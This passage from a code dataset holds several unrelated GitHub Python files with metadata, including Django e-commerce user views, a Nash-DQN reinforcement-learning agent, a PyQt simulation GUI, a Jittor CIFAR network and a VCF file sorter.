bp_client.get_order_book(\"BTC_EUR\").asks)\n    LOG.info(\"bids BTC_EUR: %s\", bp_client.get_order_book(\"BTC_EUR\").bids)\n    await bp_client.close()\n\nif __name__ == \"__main__\":\n    logging.basicConfig(level=logging.INFO, format=\"%(asctime)s\\t%(levelname)-5s\\t%(name)s\\t%(message)s\")\n    LOG = logging.getLogger(__name__)\n\n    asyncio.run(main())\n","repo_name":"Tibi-Bitpanda/bitpanda-pro-sdk-py","sub_path":"bpprosdk/examples/websockets/advanced_client_order_book_channel.py","file_name":"advanced_client_order_book_channel.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1218516392","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.http import HttpResponse\nfrom django.views.generic import View\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth import authenticate, login, logout\nimport re\nfrom apps.user.models import User, Address\nfrom apps.goods.models import GoodsSKU\nfrom apps.order.models import OrderInfo, OrderGoods\nfrom itsdangerous import TimedJSONWebSignatureSerializer as Serializer\nfrom itsdangerous import SignatureExpired\nfrom apps.user.tasks import email_to_activate_user\n# from utils.mixin import LoginRequiredMixin\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django_redis import get_redis_connection\n\n\n# /user/register\nclass RegisterView(View):\n    \"\"\"注册\"\"\"\n    def get(self, request):\n        \"\"\"显示注册页面\"\"\"\n        return render(request, 'register.html')\n\n    def post(self, request):\n        \"\"\"注册处理\"\"\"\n        # 1.获取数据\n        username = request.POST.get('user_name')\n        password = request.POST.get('pwd')\n        cpassword = request.POST.get('cpwd')\n        email = request.POST.get('email')\n        allow = request.POST.get('allow')\n\n        # 2.数据校验\n        if not all([username, password, cpassword, email]):\n            return render(request, 'register.html', {'err_msg': '数据不完整！'})\n\n        if password != cpassword:\n            return render(request, 'register.html', {'err_msg': '两次输入的密码不一致！'})\n\n        if not re.match(r'^[a-z0-9][\\w.\\-]*@[a-z0-9\\-]+(\\.[a-z]{2,5}){1,2}$', email):\n            return render(request, 'register.html', {'err_msg': '邮箱格式不正确！'})\n\n        if allow != 'on':\n            return render(request, 'register.html', {'err_msg': '请同意用户协议！'})\n\n        # 校验用户是否已存在\n        try:\n            user = User.objects.get(username=username)\n        except User.DoesNotExist:\n            user = None\n\n        if user:\n            # 用户已存在\n            return render(request, 'register.html', {'err_msg': '用户已存在！'})\n\n        # 3.业务处理\n        user = User.objects.create_user(username, email, password)\n        user.is_active = 0\n        user.save()\n\n        # 4.激活用户\n        email_to_activate_user.delay(username, user.id, email)\n\n        # 5.返回应答\n        return redirect(reverse('goods:index'))\n\n\nclass ActiveView(View):\n    \"\"\"用户激活\"\"\"\n    def get(self, request, token):\n        \"\"\"进行用户激活\"\"\"\n        # 1.对token进行解密\n        serializer = Serializer(settings.SECRET_KEY, 3600)\n        try:\n            user_info = serializer.loads(token)\n            user_id = user_info['confirm']\n            print(user_info)\n            user = User.objects.get(id=user_id)\n            user.is_active = 1\n            user.save()\n\n            # 激活完成后，跳转到登录页面\n            return redirect(reverse('user:login'))\n\n        except SignatureExpired as e:\n            # 激活时间超时\n            return HttpResponse('激活链接已过期！')\n\n\n# user/login\nclass LoginView(View):\n    \"\"\"登录\"\"\"\n    def get(self, request):\n        \"\"\"显示登录页面\"\"\"\n        # 判断是否记住了用户名\n        if 'username' in request.COOKIES:\n            username = request.COOKIES.get('username')\n            checked = 'checked'\n        else:\n            username = ''\n            checked = ''\n\n        return render(request, 'login.html', {'username': username, 'checked': checked})\n\n    def post(self, request):\n        # 1.获取数据\n        username = request.POST.get('username')\n        password = request.POST.get('pwd')\n\n        # 2.数据校验\n        if not all([username, password]):\n            return render(request, 'login.html', {'err_msg': '数据不完整!'})\n\n        # 3.业务处理：登录校验\n        user = authenticate(username=username, password=password)\n        if user is not None:\n            # 用户名、密码正确\n            if user.is_active:\n                # 用户已激活\n                login(request, user)  # 记录用户的登录状态\n\n                # 获取登录成功需要跳转的页面\n                # 有next就跳转到next页面，没有next就跳转到首页\n                next_url = request.GET.get('next', reverse('goods:index'))\n                response = redirect(next_url)\n\n                # 是否记住用户名\n                remember = request.POST.get('remember')\n                if remember == 'on':\n                    response.set_cookie('username', username, max_age=7*24*3600)\n                else:\n                    response.delete_cookie('username')\n\n                # 跳转到首页\n                return response\n            else:\n                # 用户未激活\n                return render(request, 'login.html', {'err_msg': '用户未激活!'})\n        else:\n            # 用户名、密码错误\n            return render(request, 'login.html', {'err_msg': '用户名或密码错误!'})\n\n\n# user/logout\nclass LogoutView(View):\n    \"\"\"退出登录\"\"\"\n    def get(self, request):\n        logout(request)\n        return redirect(reverse('goods:index'))\n\n\n# /user\nclass UserInfoView(LoginRequiredMixin, View):\n    \"\"\"用户中心-信息页\"\"\"\n\n    def get(self, request):\n        # 显示\n        current_page = 'info'\n\n        # 基本信息\n        user = request.user\n        address = Address.objects.get_default_address(user)\n\n        # 最近浏览:使用redis的list存储\n        # listName[item, item, ....]----->history_userID[skuID1, skuID2, ...]\n        con = get_redis_connection('default')\n        history_key = 'history_%d' % user.id\n\n        # 获取用户最新浏览的5个商品id\n        sku_ids = con.lrange(history_key, 0, 4)  # ->[2, 4, 1]\n\n        # 从数据库中查询商品的具体信息\n        goods_list = []\n        for sku_id in sku_ids:\n            goods = GoodsSKU.objects.get(id=sku_id)\n            goods_list.append(goods)\n\n        context = {\n            'current_page': current_page,\n            'address': address,\n            'goods_list': goods_list\n        }\n\n        return render(request, 'user_center_info.html', context)\n\n\n# /user/order\nclass UserOrderView(LoginRequiredMixin, View):\n    \"\"\"用户中心-订单页\"\"\"\n    def get(self, request, page):\n        # 显示\n\n        # 获取订单信息\n        user = request.user\n        orders = OrderInfo.objects.filter(user=user)\n\n        # 遍历获取订单中商品的信息\n        for order in orders:\n            order_skus = OrderGoods.objects.filter(order_id=order.order_id)  # 每个订单中的商品集合\n\n            # 遍历商品集合，获取每个商品的小计\n            for order_sku in order_skus:\n                order_sku.amount = order_sku.count * order_sku.price  # 动态绑定小计到商品模型上\n\n            order.order_skus = order_skus  # 每个订单对应的商品集合\n\n            order.status_name = OrderInfo.ORDER_STATUS[order.order_status]\n\n        # 分页\n        paginator = Paginator(orders, 1)\n\n        # 获取第page页的Page实例对象\n        try:\n            page = int(page)\n        except Exception as e:\n            page = 1\n\n        if page > paginator.num_pages:\n            page = 1\n\n        order_page = paginator.page(page)\n\n        # 自定义页码控制，最多显示5个页码(分页器的paginator.page_range显示的是所有的页码)\n        # 1.如果总页数少于5，显示所有页码\n        # 2.如果是前3页，显示1-5页\n        # 3.如果是后3页，显示后5页\n        # 4.其他情况，显示当前页前2页、当前页、当前页后2页\n        num_pages = paginator.num_pages\n        if num_pages < 5:\n            pages = range(1, num_pages + 1)\n        elif page < 3:\n            pages = range(1, 6)\n        elif page >= num_pages - 2:\n            pages = range(num_pages - 4, num_pages + 1)\n        else:\n            pages = range(page - 2, page + 3)\n\n        current_page = 'order'\n\n        # 组织参数\n        context = {\n            'order_page': order_page,\n            'pages': pages,\n            'current_page': current_page\n        }\n\n        return render(request, 'user_center_order.html', context)\n\n\n# /user/address\nclass UserAddressView(LoginRequiredMixin, View):\n    \"\"\"用户中心-地址页\"\"\"\n    def get(self, request):\n        \"\"\" 收货地址显示 \"\"\"\n        current_page = 'address'\n\n        user = request.user\n\n        address = Address.objects.get_default_address(user)\n\n        return render(request, 'user_center_site.html', {'current_page': current_page, 'address': address})\n\n    # TODO 插入表情有问题\n    def post(self, request):\n        \"\"\" 新增收货地址 \"\"\"\n        # 接收数据\n        receiver = request.POST.get('receiver')\n        addr = request.POST.get('addr')\n        zip_code = request.POST.get('zip_code')\n        phone = request.POST.get('phone')\n\n        # 校验数据\n        if not all([receiver, addr, phone]):\n            # 校验数据完整性\n            return render(request, 'user_center_site.html', {'err_msg': '数据不完整!'})\n\n        if not re.match(r'^1[3|4|5|7|8|][0-9]{9}$', phone):\n            # 验证手机号\n            return render(request, 'user_center_site.html', {'err_msg': '手机格式不正确!'})\n\n        # 业务处理：地址添加\n        # 如果用户已存在默认收货地址，添加的地址不作为默认地址；否则作为默认收货地址\n        user = request.user\n\n        address = Address.objects.get_default_address(user)\n\n        if address:\n            is_default = False\n        else:\n            is_default = True\n\n        Address.objects.create(user=user,\n                               receiver=receiver,\n                               addr=addr,\n                               zip_code=zip_code,\n                               phone=phone,\n                               is_default=is_default)\n\n        # 返回应答\n        return redirect(reverse('user:address'))\n\n","repo_name":"DamonMok/dailyfresh","sub_path":"apps/user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40131967624","text":"import os\nimport time\n\nimport jinja2\n\nfrom lib.notion_client import Notion\nfrom exactractor import github\nfrom notifier.qiita import Qiita\n\n\ndef main():\n    program_languages = os.getenv(\"PROGRAM_LANGUAGES\").split(\",\")\n    notion_database_id = os.getenv(\"NOTION_DATABAE_ID\")\n    article_ids = os.getenv(\"ARTICLE_IDS\").split(\",\")\n    notion_client = Notion()\n    all_languages_trends = github.fetch_trends()\n    # NOTE: notionへ投入\n    for trend in all_languages_trends:\n        print(trend)\n        notion_properties = {\n            \"repo_name\": {\"title\": [{\"text\": {\"content\": trend[\"title\"]}}]},\n            \"language\": {\"multi_select\": [{\"name\": trend[\"language\"]}]},\n            \"url\": {\"url\": trend[\"url\"]},\n            \"description\": {\"rich_text\": [{\"text\": {\"content\": trend[\"description\"]}}]},\n            \"description_ja\": {\n                \"rich_text\": [{\"text\": {\"content\": trend[\"description_ja\"]}}]\n            },\n            \"star\": {\"rich_text\": [{\"text\": {\"content\": trend[\"star\"]}}]},\n        }\n        if trend[\"twitter_url\"] is not None:\n            notion_properties[\"twitter_url\"] = {\"url\": trend[\"twitter_url\"]}\n        print(notion_properties)\n        notion_client.create_database(\n            database_id=notion_database_id, notion_properties=notion_properties\n        )\n        time.sleep(0.5)\n\n    # NOTE: qiitaへ投入\n    for program_language, article_id in zip(program_languages, article_ids):\n        rs = github.get_trends(language=program_language)\n        # NOTE: markdown 組み立て\n        fileSystemLoader = jinja2.FileSystemLoader(\n            searchpath=f\"{os.getcwd()}/notify_ghtrend/resource\"\n        )\n        env = jinja2.Environment(loader=fileSystemLoader)\n        template = env.get_template(\"test.tpl\")\n        md_content = template.render({\"language\": program_language, \"repos\": rs})\n\n        # NOTE: 外部サービスにpost\n        title = f\"{program_language} GitHubトレンドデイリーランキング!!【自動更新】\"\n        # Qiita().post(program_language, title, md_content)\n        Qiita().update(program_language, title, md_content, article_id)\n        time.sleep(1.5)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Higakinn/notify-github-trend","sub_path":"notify_ghtrend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"14321552033","text":"def duck_no(s):\n\tif s[0]=='0':\n\t\treturn False\n\telif s[1::].count('0')!=0:\n\t\treturn True\n\telse:\n\t\treturn False\nn=int(input(\"enter range:-\"))\nfor i in range(1,n+1):\n\tif duck_no(str(i)):\n\t\tprint(i)","repo_name":"Sur818/Coding-Projects","sub_path":"python programming/func85duck_no range.py","file_name":"func85duck_no range.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10932308053","text":"# coding=utf-8\n\nimport urllib.request\nimport urllib.parse\n\n\npost_url = 'http://www.kfc.com.cn/kfccda/ashx/GetStoreList.ashx?op=cname'\n\ncity = input('城市：')\n\nform_data = {\n    'cname': city,\n    'pid': '',\n    'pageIndex': '1',\n    'pageSize': '10',\n}\n\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'\n}\n\nrequest = urllib.request.Request(url=post_url, headers=headers)\nform_data = urllib.parse.urlencode(form_data).encode()\nresponse = urllib.request.urlopen(request, data=form_data)\n\nprint(response.read().decode())\n","repo_name":"pipoted/spider2","sub_path":"learn/python3/ajax_post.py","file_name":"ajax_post.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74884866889","text":"import sys\nfrom PyQt4 import  QtGui\nfrom PyQt4 import QtCore\nfrom PyQt4.QtCore import QThread,SIGNAL\n\nfrom patient import Patient\n\nclass GSW(QtGui.QWidget):\n\n\n    def __init__(self):\n        super(GSW,self).__init__()\n        self.patient=Patient(self)\n        self.initUI()\n\n    # the GUI contains two major layout, patient_states and operation_options\n    # the main thread here is the GUI\n    # the second thread is the patient\n    # we grab all the data we have from the second thread and display it on GUI(main thread)\n    # the GUI interact with second thread using signals\n    def initUI(self):\n        self.mainlayout=QtGui.QVBoxLayout()\n        self.patient_states=QtGui.QBoxLayout(0x1)\n        self.mainlayout.addLayout(self.patient_states)\n        self.add_States_to_layout()\n        self.operation_options=QtGui.QBoxLayout(0x1)\n        self.mainlayout.addLayout(self.operation_options)\n        self.setLayout(self.mainlayout)\n        self.setWindowTitle('GSW')\n        self.connect(self.patient,SIGNAL(\"patient_state_changed\"),self.State_changed)\n        self.connect(self.patient,SIGNAL(\"Patient Cured\"),self.Patient_Cured)\n        self.emit(SIGNAL(\"Initialize patient\"))\n        self.show()\n\n    def State_changed(self):\n        print(\"show changed states on GUI\")\n        self.add_Button_to_layout()\n        self.set_States_to_layout()\n\n\n    def set_States_to_layout(self):\n        print(\"start set_States_to_layout\")\n        self.HR.setPlainText(\"HR\"+\"\\r\\n\"+str(self.patient.states[0]))\n        self.BPH.setPlainText(\"BPH\"+\"\\r\\n\"+str(self.patient.states[1]))\n        self.BPL.setPlainText(\"BPL\"+\"\\r\\n\"+str(self.patient.states[2]))\n        self.RR.setPlainText(\"RR\"+\"\\r\\n\"+str(self.patient.states[3]))\n        self.SatsPercentage.setPlainText(\"SatsPercentage\"+\"\\r\\n\"+str(self.patient.states[4]))\n        self.SatsDescription.setPlainText(\"SatsDescription\"+\"\\r\\n\"+str(self.patient.states[5]))\n        print(\"finished set_States_to_layout\")\n\n\n    def add_States_to_layout(self):\n        print(\"start add_States_to_layout\")\n        self.HR = QtGui.QPlainTextEdit(\"HR\")\n        self.BPH = QtGui.QPlainTextEdit(\"BPH\")\n        self.BPL = QtGui.QPlainTextEdit(\"BPL\")\n        self.RR = QtGui.QPlainTextEdit(\"RR\")\n        self.SatsPercentage = QtGui.QPlainTextEdit(\"SatsPercentage\")\n        self.SatsDescription = QtGui.QPlainTextEdit(\"SatsDescription\")\n        self.patient_states.addWidget(self.HR )\n        self.patient_states.addWidget(self.BPH)\n        self.patient_states.addWidget(self.BPL)\n        self.patient_states.addWidget(self.RR)\n        self.patient_states.addWidget(self.SatsPercentage)\n        self.patient_states.addWidget(self.SatsDescription)\n\n    def add_Button_to_layout(self):\n        i=0\n        print(\"starting  loop of adding buttons\")\n        for i in reversed(range(self.operation_options.count())):\n            self.operation_options.itemAt(i).widget().setParent(None)\n        if self.patient.next_states!=[] :\n            for name in self.patient.next_states:\n                print(\"adding Buttons\")\n                new_buttons=QtGui.QPushButton(name)\n                self.operation_options.addWidget(new_buttons)\n                new_buttons.clicked.connect(self.button_clicked)\n        print(\"finished adding\")\n\n    def button_clicked(self):\n        self.emit(SIGNAL(self.sender().text()))\n\n    def Patient_Cured(self):\n        reply = QtGui.QMessageBox.question(self, 'Message',\"Patient is cured\")\n        self.past_treatment.setText(self.past_treatment.toPlainText()+\"\\r\\n\"+self.sender().text())\n        self.mainlayout.patientstate.adjustSize()\n\n        \nif __name__ == '__main__':\n    \n    app = QtGui.QApplication(sys.argv)\n    ex = GSW()\n    sys.exit(app.exec_())\n","repo_name":"ssdfx007008/Patient_Simulation","sub_path":"GSW_orig.py","file_name":"GSW_orig.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27045268258","text":"#looping through string\n\nfruit = 'banana'\nindex = 0\nwhile index < len(fruit):\n    letter = fruit[index]\n    print(index , letter)\n    index = index +1\n\n#counting letters\n\nword = 'freedman'\ncount= 0\n\nfor letters in word:\n    if letters == 'e':\n        count= count + 1\nprint(count)\n\n#slicing strings. note the space in between the words are counted too\ns = 'Monty python'\nprint(s[0:4])\n\nprint(s[6:12])\n\nprint(s[8:])\n\nprint(s[:])","repo_name":"Kaynzei/python","sub_path":"strings1.py","file_name":"strings1.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10120143341","text":"import threading\n\nfrom neuro_comma.predict import RepunctPredictor\n\n\nclass ModelCache(object):\n    \"\"\" \"\"\"\n    __shared_state = {\n        \"_model\": None,\n        \"_lock\": threading.Lock()\n    }\n\n    def __init__(self):\n        self.__dict__ = self.__shared_state\n\n    def load_model(self):\n        if self._model is None:\n            with self._lock:\n                if self._model is None:\n                    # загружаем модель\n                    self._model = RepunctPredictor('repunct-model', model_weights='weights_ep4_9910.pt')\n\n    @property\n    def model(self) -> RepunctPredictor:\n        self.load_model()\n        return self._model\n","repo_name":"sviperm/neuro-comma","sub_path":"src/neuro_comma/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"16"}
+{"seq_id":"3043840102","text":"import numpy as np\nimport gym\nimport operator\nimport random, copy\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom common.networks import get_model\nfrom dqn import DQN, DQNBase\nfrom equilibrium_solver import NashEquilibriumECOSSolver\n\nclass NashDQN(DQN):\n    \"\"\"\n    Nash-DQN algorithm\n    \"\"\"\n    def __init__(self, env, args):\n        super().__init__(env, args)\n\n        if args.num_process > 1:\n            self.model.share_memory()\n            self.target.share_memory()\n        self.num_agents = env.num_agents[0] if isinstance(env.num_agents, list) else env.num_agents\n        self.env = env\n        self.args = args\n\n        # don't forget to instantiate an optimizer although there is one in DQN\n        self._init_optimizer(args)\n\n    def _init_model(self, env, args):\n        \"\"\"Overwrite DQN's models\n\n        :param env: environment\n        :type env: object\n        :param args: arguments\n        :type args: dict\n        \"\"\"\n        self.model = NashDQNBase(env, args.net_architecture, args.num_envs, two_side_obs = args.marl_spec['global_state']).to(self.device)\n        print(self.model)\n        self.target = copy.deepcopy(self.model).to(self.device)\n\n    def choose_action(self, state, Greedy=False, epsilon=None):\n        if Greedy:\n            epsilon = 0.\n        elif epsilon is None:\n            epsilon = self.epsilon_scheduler.get_epsilon()\n        if not isinstance(state, torch.Tensor):\n            state = torch.Tensor(state).to(self.device)\n        if self.args.ram:\n            if self.args.num_envs == 1: # state: (agents, state_dim)\n                state = state.unsqueeze(0).view(1, -1) # change state from (agents, state_dim) to (1, agents*state_dim)\n            else: # state: (agents, envs, state_dim)\n                state = torch.transpose(state, 0, 1) # to state: (envs, agents, state_dim)\n                state = state.view(state.shape[0], -1) # to state: (envs, agents*state_dim)\n        else:  # image-based input\n            if self.args.num_envs == 1: # state: (agents, C, H, W)\n                state = state.unsqueeze(0).view(1, -1, state.shape[-2], state.shape[-1])  #   (1, agents*C, H, W)\n\n            else: # state: (agents, envs, C, H, W)\n                state = torch.transpose(state, 0, 1) # state: (envs, agents, C, H, W)\n                state = state.view(state.shape[0], -1, state.shape[-2], state.shape[-1]) # state: (envs, agents*C, H, W)\n\n        if random.random() > epsilon:  # NoisyNet does not use e-greedy\n            with torch.no_grad():\n                q_values = self.model(state).detach().cpu().numpy()  # needs state: (batch, agents*state_dim)\n\n            try: # nash computation may report error and terminate the process\n                actions, dists, ne_vs = self.compute_nash(q_values)\n            except:\n                print(\"Invalid nash computation.\")\n                actions = np.random.randint(self.action_dim, size=(state.shape[0], self.num_agents))\n\n        else:\n            actions = np.random.randint(self.action_dim, size=(state.shape[0], self.num_agents))  # (envs, agents)\n        \n        if self.args.num_envs == 1:\n            actions = actions[0]  # list of actions to its item\n        else:\n            actions = np.array(actions).T  # to shape: (agents, envs, action_dim)\n        return actions\n\n    def compute_nash(self, q_values, update=False):\n        q_tables = q_values.reshape(-1, self.action_dim,  self.action_dim)\n        all_actions = []\n        all_dists = []\n        all_ne_values = []\n\n        for q_table in q_tables:\n            dist, value = NashEquilibriumECOSSolver(q_table)\n            all_dists.append(dist)\n            all_ne_values.append(value)\n\n        if update:\n            return all_dists, all_ne_values\n        else:\n            # Sample actions from Nash strategies\n            for ne in all_dists:\n                actions = []\n                for dist in ne:  # iterate over agents\n                    try:\n                        sample_hist = np.random.multinomial(1, dist)  # return one-hot vectors as sample from multinomial\n                    except:\n                        print('Not a valid distribution from Nash equilibrium solution: ', dist)\n                    a = np.where(sample_hist>0)\n                    actions.append(a)\n                all_actions.append(np.array(actions).reshape(-1))\n\n            return np.array(all_actions), all_dists, all_ne_values\n\n    def update(self):\n        DoubleTrick = False\n        state, action, reward, next_state, done = self.buffer.sample(self.batch_size)\n\n        state = torch.FloatTensor(state).to(self.device)\n        next_state = torch.FloatTensor(next_state).to(self.device)\n        action = torch.IntTensor(action).to(self.device)\n        reward = torch.FloatTensor(reward).to(self.device)\n        done = torch.FloatTensor(np.float32(done)).to(self.device)\n\n        # Q-Learning with target network\n        q_values = self.model(state)\n        target_next_q_values_ = self.model(next_state) if DoubleTrick else self.target(next_state)\n        target_next_q_values = target_next_q_values_.detach().cpu().numpy()\n\n        action_ = torch.LongTensor([a[0]*self.action_dim+a[1] for a in action]).to(self.device)\n        q_value = q_values.gather(1, action_.unsqueeze(1)).squeeze(1)\n\n        # solve matrix Nash equilibrium\n        try: # nash computation may encounter error and terminate the process\n            next_dist, next_q_value = self.compute_nash(target_next_q_values, update=True)\n        except: \n            print(\"Invalid nash computation.\")\n            next_q_value = np.zeros_like(reward)\n\n        if DoubleTrick: # calculate next_q_value using double DQN trick\n            next_dist = np.array(next_dist)  # shape: (#batch, #agent, #action)\n            target_next_q_values = target_next_q_values.reshape((-1, self.action_dim, self.action_dim))\n            left_multi = np.einsum('na,nab->nb', next_dist[:, 0], target_next_q_values) # shape: (#batch, #action)\n            next_q_value = np.einsum('nb,nb->n', left_multi, next_dist[:, 1]) \n\n        next_q_value  = torch.FloatTensor(next_q_value).to(self.device)\n\n        expected_q_value = reward + (self.gamma ** self.multi_step) * next_q_value * (1 - done)\n\n        loss = F.mse_loss(q_value, expected_q_value.detach(), reduction='none')\n        loss = loss.mean()\n\n        self.optimizer.zero_grad()\n        loss.backward()\n        self.optimizer.step()\n\n        if self.update_cnt % self.target_update_interval == 0:\n            self.update_target(self.model, self.target)\n        self.update_cnt += 1\n        return loss.item()\n\nclass NashDQNBase(DQNBase):\n    \"\"\"\n    Nash-DQN for parallel env sampling\n\n    parameters\n    ---------\n    env         environment(openai gym)\n    \"\"\"\n    def __init__(self, env, net_args, number_envs=2, two_side_obs=True):\n        super().__init__(env, net_args)\n        self.number_envs = number_envs\n        try:\n            if two_side_obs:\n                self._observation_shape = tuple(map(operator.add, env.observation_space.shape, env.observation_space.shape)) # double the shape\n            else:\n                self._observation_shape = env.observation_space.shape\n            self._action_shape = (env.action_space.n)**2\n        except:\n            if two_side_obs:\n                self._observation_shape = tuple(map(operator.add, env.observation_space[0].shape, env.observation_space[0].shape)) # double the shape\n            else:\n                self._observation_shape = env.observation_space[0].shape\n            self._action_shape = (env.action_space[0].n)**2\n        self._construct_net(env, net_args)\n\n    def _construct_net(self, env, net_args):\n            input_space = gym.spaces.Box(low=-np.inf, high=np.inf, shape = self._observation_shape)\n            output_space = gym.spaces.Discrete(self._action_shape)\n            if len(self._observation_shape) <= 1: # not 3d image\n                self.net = get_model('mlp')(input_space, output_space, net_args, model_for='discrete_q')\n            else:\n                self.net = get_model('cnn')(input_space, output_space, net_args, model_for='discrete_q')\n","repo_name":"quantumiracle/nash-dqn","sub_path":"nash_dqn.py","file_name":"nash_dqn.py","file_ext":"py","file_size_in_byte":8147,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"70059256648","text":"import jittor as jt\nfrom jittor import Module\nfrom jittor import nn\nfrom jittor_operations import *\nfrom genotypes import DOTS_final_C10\njt.flags.use_cuda = 1\nimport time\n\nclass Cell(Module):\n\n    def __init__(self, genotype, C_prev_prev, C_prev, C, reduction, reduction_prev):\n        super(Cell, self).__init__()\n        print(C_prev_prev, C_prev, C)\n\n        if reduction_prev:\n            self.preprocess0 = FactorizedReduce(C_prev_prev, C)\n        else:\n            self.preprocess0 = ReLUConvBN(C_prev_prev, C, 1, 1, 0)\n        self.preprocess1 = ReLUConvBN(C_prev, C, 1, 1, 0)\n\n        if reduction:\n            op_names, indices = zip(*genotype.reduce)\n            concat = genotype.reduce_concat\n        else:\n            op_names, indices = zip(*genotype.normal)\n            concat = genotype.normal_concat\n        self._compile(C, op_names, indices, concat, reduction)\n\n    def _compile(self, C, op_names, indices, concat, reduction):\n        assert len(op_names) == len(indices)\n        self._steps = len(op_names) // 2\n        self._concat = concat\n        self.multiplier = len(concat)\n\n        self._ops = nn.ModuleList()\n        for name, index in zip(op_names, indices):\n            stride = 2 if reduction and index < 2 else 1\n            op = OPS[name](C, stride, True)\n            self._ops.append(op)\n        self._indices = indices\n\n    def execute(self, s0, s1):\n        s0 = self.preprocess0(s0)\n        s1 = self.preprocess1(s1)\n\n        states = [s0, s1]\n        for i in range(self._steps):\n            h1 = states[self._indices[2 * i]]\n            h2 = states[self._indices[2 * i + 1]]\n            op1 = self._ops[2 * i]\n            op2 = self._ops[2 * i + 1]\n            h1 = op1(h1)\n            h2 = op2(h2)\n            s = h1 + h2\n            states += [s]\n        return jt.contrib.concat([states[i] for i in self._concat], dim=1)\n\n\nclass NetworkCIFAR(Module):\n\n    def __init__(self, C, num_classes, layers, genotype):\n        super(NetworkCIFAR, self).__init__()\n        self._layers = layers\n\n        stem_multiplier = 3\n        C_curr = stem_multiplier * C\n        self.stem = nn.Sequential(\n            nn.Conv2d(3, C_curr, 3, padding=1, bias=False),\n            nn.BatchNorm2d(C_curr)\n        )\n\n        C_prev_prev, C_prev, C_curr = C_curr, C_curr, C\n        self.cells = nn.ModuleList()\n        reduction_prev = False\n        for i in range(layers):\n            if i in [layers // 3, 2 * layers // 3]:\n                C_curr *= 2\n                reduction = True\n            else:\n                reduction = False\n            cell = Cell(genotype, C_prev_prev, C_prev, C_curr, reduction, reduction_prev)\n            reduction_prev = reduction\n            self.cells.append(cell)\n            C_prev_prev, C_prev = C_prev, cell.multiplier * C_curr\n\n        self.global_pooling = nn.AdaptiveAvgPool2d(1)\n        self.classifier = nn.Linear(C_prev, num_classes)\n\n    def execute(self, input):\n        s0 = s1 = self.stem(input)\n        for i, cell in enumerate(self.cells):\n            s0, s1 = s1, cell(s0, s1)\n        out = self.global_pooling(s1)\n        logits = self.classifier(out.view(out.size(0), -1))\n        return logits\n\n\nif __name__==\"__main__\":\n    jittor_model=NetworkCIFAR(36,10,20,DOTS_final_C10)\n    jittor_model.load('resnet101_rbn_best_model.pth')\n\n    jittor_model.eval()\n\n\n\n","repo_name":"guyuchao/DOTS","sub_path":"Jittor/jittor_model.py","file_name":"jittor_model.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"16"}
+{"seq_id":"20918793171","text":"import vcfreader\n\n\ndef sort(filename, key, order, saved_path):\n    headers, data = vcfreader.vcfread(filename)\n    # x : num of rows\n    # str_1: prefix of key like 'AF='\n    x = len(data)\n    str_1 = key + '='\n\n    # # loop to trace the key we want in each line\n    # # find target column j\n    # # get the target key value number and insert to head position\n    for i in range(x):\n        flag = 0\n        for j in range(6, len(data[i]) - 1):  # ignore first 7 column\n            if data[i][j].startswith(str_1):  # locate the key\n                num = data[i][j].replace(str_1, '')  # use '' to replace prefix then can get key value\n                if num != '.':  # some value is '.', convert string key value to float to sort\n                    num = float(num)\n                    data[i].insert(0, num)\n                else:\n                    data[i].insert(0, 0.0)  # Use 0 to replace \".\"\n                flag = 1\n                break\n        #         since we need to sort the value, we must use a float number to replace \".\"\n        #         use 0 maybe not a good solution, still need more work to feed a good solution\n        if flag == 0:  # to check if key is missing\n            data[i].insert(0, 0)\n\n    # SORT\n    # Timsort is used: Timsort is a hybrid stable sorting algorithm, derived from merge sort and insertion sort,\n    # designed to perform well on many kinds of real-world data.\n\n    # sort the head column\n    data = sorted(data, key=lambda k: k[0], reverse=order)\n\n    # delete duplicate first column after sorting\n    for i in range(x):\n        data[i].pop(0)\n\n    # recover\n    # connect to vcf format\n    result = ''\n    for i in range(x):\n        for j in range(0, 7):  # first 7 columns delimiter as \\t\n            result += str(data[i][j])\n            result += '\\t'\n        for j in range(7, len(data[i]) - 3):  # info column delimiter as ;\n            result += data[i][j] + ';'\n        for j in range(len(data[i]) - 3, len(data[i]) - 1):  # two columns after info, delimiter as \\t\n            result += '\\t' + data[i][j]\n        result += '\\n'\n    print('finished!')\n\n    # save to file\n    saved_path += 'SortBy'\n    saved_path += key\n    saved_path += '.vcf'\n    f = open(saved_path, 'w')\n    str1 = ''.join(headers)\n    f.write(str1)  # headers\n    f.write(result)  # data\n    f.close()\n    print('file saved at' + 